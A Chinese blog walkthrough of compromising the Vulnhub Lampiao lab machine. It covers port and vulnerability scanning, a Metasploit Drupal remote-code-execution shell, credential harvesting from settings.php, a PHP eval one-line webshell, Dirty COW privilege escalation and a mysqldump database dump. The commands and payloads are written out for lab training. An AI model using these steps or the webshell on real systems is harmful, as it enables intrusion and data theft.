Vulnlab_Lampiao靶机渗透实战笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
Lampiao靶机渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
实验环境:
Windows10
kali(vmware)
Lampiao靶机(virtualbox)
靶机下载地址: https://www.vulnhub.com/entry/lampiao-1,249/
攻击渗透实现步骤:
首先Virtualbox启动运行靶机。
一、扫描采集信息
1、获取IP地址
扫描区域网内的网段发现靶机ip信息:(如果未发现ip地址,有可能说明靶机没有生成ip地址。本人的使用的环境是kali作为攻击机在vmware运行,靶机在vitualbox运行,需提前设置好网卡并实现互通,具体细节可以查看我的另一篇文章:Vitualbox联动靶机VMware,实现互通后,如果nmap扫描没有发现ip地址,可以查看我的另外一篇解决文章:VirtualBox的vulnhub靶机无法获取ip地址解决方法)
发现靶机ip为:
192.168.56.111
2、获取端口信息
扫描靶机指定端口:
nmap -p 1-65535 192.168.56.111
3、漏洞扫描
发现靶机开启了22,80,1898端口
继续加参数进行扫描查看详细的信息:
-- 查看一下有么有可以用的漏洞:
nmap --script=vuln 192.168.56.111
没有发现什么有用的信息,继续扫描:
4、获取主机信息
-A 扫描的常规端口(1000以内);
-p 扫描全端口,-sV 扫描端口对应的服务,-O 扫描靶机的系统版本,
nmap -p 1-65535 -sV -O -A 192.168.56.111
发现1898端口是apache服务,这台靶机是Ubuntu操作系统
尝试访问1898端口
nmap -O 192.168.56.111
扫描到靶机linux内核版本为Linux 3.2-4.9
5、Nessus扫描
使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能
最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集
6、Acunetix扫描
扫描出来很多Drupal漏洞
7、使用御剑或dirserach扫描子域名
使用御剑进行扫描:(实际不止5条,只是我给提前停止了)
使用dirb工具扫描子域名:
dirb http://192.168.56.111:1898 /usr/share/dirb/wordlists/big.txt
使用dirsearch工具扫描进行扫描子域名
http://192.168.6.129:1898 查看有咩有可用的子域名信息;
dirsearch -u http://192.168.56.111:1898/
可以看到很多有用的信息,尝试访问其中有robots.txt文件的路径,查看目录文件(Robots.txt),这是存放于网站根目录下的ASCII编码的协议。定义哪些可以爬虫爬取,哪些不可以爬取。它的文件名统一为小写,应放置在网站根目录下。
尝试用浏览器访问:
访问其中的http://192.168.56.111:1898/CHANGELOG.txt
可以知晓网站使用drupal内容管理系统(cms)中间件,这是一个drupal搭建的网站,可能含有某些漏洞(免身份认证的RCE漏洞),使用kali自带工具msf,msf利用drupal的rce漏洞反弹shell:
二、使得Drupal获取Shell
启动msf:
搜索drupal:
search drupal
发现可以有利用的漏洞随便尝试一个
设置攻击机ip(lhost)和监听端口(lport)受害机器ip和端口(rhost)和(rport),注意这里的rport目标端口一定要设置成1898才能成功,因为靶机把Apache默认的80端口改成了1898
run执行:
python提权到交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
查看文件和内容,进行信息收集:
查看数据库设置文件,可以找到数据库的用户名和密码;
cat settings.php
Getshell
进入/home目录查看有多少用户,至此,知道了用户名:tiago 和密码:Virgulino结合密码使用ssh进行登录
方式二
也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。
使用 echo "<?phpeval($_POST['a']);?>" > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>
把木马文件上传到靶机
使用蚁剑连接靶机
三、使用脏牛漏洞进行提权:
脏牛提权(linux内核的一个提权漏洞,低权限用户可以在linux系统上实现本地地权,获取root权限,脏牛的CVE编号为CVE-2016-5195)
1、测试目标主机编译环境
uname -a ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version ==> 得知Python运行环境为:2.7.6
php -v ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码
2、搜索本地漏洞库脏牛
在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp
将图中的第三行的考到新建的文件夹:
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/桌面/POC/CVE-2016-5195/
打开它:
第一行先备份,然后把40847.cpp 里面所有内容复制:
(命令行中要是不能复制全的话可以尝试直接在文件夹右键它使用kali自带的Mousepad打开后,ctrl+A全选复制粘贴就行)
来到ssh的连接,在靶机上新建一个文件,把内容复制到文件中,然后保存退出,执行图下的命令进行编译文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil
至此,提权root账户并完成渗透成功getshell
查看根目录下的flag.txt文件,成功获取flag
9740616875908d91ddcdaa8aea3af366
四、数据库拖库处理
在nmap扫描的时候没有发现靶机开放mysql的端口,但是在靶机的shell执行netstat命令查看可以发现mysql是开放的,应该是没有对外进行开放。
输入mysql命令查看数据库信息
使用mysqldump进行拖库
mysqldump是mysql备份数据库的默认命令
#查看mysqldump位置
whereis mysqldump
#使用如下命令输入刚获取到的mysql数据库用户名和密码将数据库信息写入drupal.sql
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql
退回到msf控制台,下载即可完成拖库处理。
download drupal.sql /root
新建一个数据库导入durpal.sql文件,即可恢复内容完成拖库处理。
- 感谢你赐予我前进的力量